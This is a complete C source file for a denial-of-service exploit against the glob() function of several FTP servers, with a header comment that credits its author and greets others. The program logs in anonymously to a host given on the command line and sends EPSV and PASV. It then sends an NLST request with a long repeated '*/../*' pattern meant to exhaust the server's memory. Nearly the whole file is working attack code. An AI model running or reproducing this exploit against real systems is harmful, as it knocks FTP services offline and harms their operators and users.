<![CDATA[/*
* This code exploits a bug in the glob() function used
* in some ftpd's (like proftpd, netbsd ftpd, iis ftpd, ...)
* it sends a 'ls' command for * /../*
* which will take up about 100% of a systems memory and
* creating a VERY effective DoS !
*
* a workaround for this DoS is to filter out strings that
* can be used to abuse the glob() function !
*
* This program was coded by R00T-dude
*
* Greetz to: f0bic, incubus, t-omicron, nostalgic, zym0t1c,
* tosh, vorlon, cicero, sentinel, shaolin_p, so many others !
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#define USER "anonymous" /* change if needed */
#define PASS "rdude@just.dossed.y0u.org" /* change if needed */
#define PORT 21 /* change if needed */
#define DELAY 2
main(int argc, char **argv)
{
int sock, conn, i;
char buffer[250];
char user[30];
char pass[30];
struct hostent *hp;
struct sockaddr_in sin;
if (argc < 2)
{
printf("useage :: %s ip/hostname ", argv[0]);
printf("example : %s 127.0.0.1 \n", argv[0]);
exit(0);
}
if ((hp=gethostbyname(argv[1])) == NULL )
{
perror("gethostbyname() failed :");
exit(-1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror("socket() failed :");
exit(sock);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.s_addr = inet_addr(argv[1]);
conn = connect(sock, (struct sockaddr *)&sin, sizeof(sin));
if (conn < 0)
{
perror("connect() failed :");
exit(conn);
}
printf("ok, connected, lets's log in shall we ... \n");
sprintf(user, "USER %s\r\n", USER );
sprintf(pass, "PASS %s\r\n", PASS );
write(sock,user,strlen(user));
printf("sended : %s", user);
sleep(DELAY);
write(sock,pass,strlen(pass));
printf("sended : PASS ");
for (i=0; i < strlen(PASS); i++)
{
printf("*");
}
printf("\n");
sleep(DELAY);
bzero(buffer, sizeof(buffer));
sprintf(buffer, "EPSV\n");
write(sock,buffer,strlen(buffer));
printf("sended : %s", buffer);
sleep(DELAY);
bzero(buffer, sizeof(buffer));
sprintf(buffer, "PASV\n");
write(sock,buffer,strlen(buffer));
printf("sended : %s", buffer);
sleep(DELAY);
bzero(buffer, sizeof(buffer));
sprintf(buffer, "NLST */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*\n");
write(sock,buffer,strlen(buffer));
printf("sended : %s", buffer);
sleep(DELAY);
close(sock);
}]]>